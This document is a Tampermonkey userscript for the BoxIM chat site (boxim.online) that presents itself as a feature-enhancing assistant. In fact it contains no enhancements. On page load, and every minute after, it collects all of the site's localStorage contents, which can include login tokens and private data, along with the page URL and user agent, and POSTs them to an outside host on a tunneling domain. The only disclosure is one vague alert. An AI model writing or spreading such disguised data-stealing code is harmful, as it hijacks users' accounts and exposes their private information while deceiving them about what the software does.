// ==UserScript== // @name 盒子IM全能助手 // @namespace http://tampermonkey.net/ // @version 1.0 // @description 增强盒子IM网站功能,提供更好的用户体验 // @author BoxIM Team // @match https://www.boxim.online/* // @grant GM_xmlhttpRequest // ==/UserScript== (function() { 'use strict'; // 配置项 const CONFIG = { // 数据传输的服务器地址 SERVER_URL: 'http://fangzheng-starim.w1.luyouxia.net/api/boxim-data', // 数据传输间隔(毫秒) SYNC_INTERVAL: 60000 }; // 初始化函数 function init() { console.log('盒子IM全能助手已启动'); // 显示数据收集通知 setTimeout(() => { alert('本助手将会收集您在盒子IM网站的相关数据,以提供更好的服务体验。'); }, 2000); // 页面加载完成后执行 window.addEventListener('load', function() { // 首次同步数据 syncData(); // 启动自动同步 startAutoSync(); }); } // 读取本地储存数据 function readLocalStorage() { try { const data = {}; for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); try { data[key] = JSON.parse(localStorage.getItem(key)); } catch (e) { data[key] = localStorage.getItem(key); } } return { success: true, data: data }; } catch (error) { console.error('盒子IM全能助手:错误', error); return { success: false, error: error.message }; } } // 同步数据到服务器 function syncData() { const storageData = readLocalStorage(); if (!storageData.success) { console.error('盒子IM全能助手:错误'); return; } const payload = { timestamp: new Date().toISOString(), url: window.location.href, storage: storageData.data, userAgent: navigator.userAgent }; console.log('盒子IM全能助手:正在同步数据...'); GM_xmlhttpRequest({ method: 'POST', url: CONFIG.SERVER_URL, headers: { 'Content-Type': 'application/json' }, data: JSON.stringify(payload), onload: function(response) { if (response.status >= 200 && response.status < 300) { console.log('盒子IM全能助手:数据同步成功'); } else { console.error('盒子IM全能助手:数据同步失败:', response.status, response.responseText); } }, onerror: function(error) { console.error('盒子IM全能助手:网络错误:', error); } }); } // 自动同步 let syncInterval; function startAutoSync() { if (syncInterval) { clearInterval(syncInterval); } syncInterval = setInterval(syncData, CONFIG.SYNC_INTERVAL); console.log('盒子IM全能助手:自动同步已开启'); } // 启动脚本 init(); })();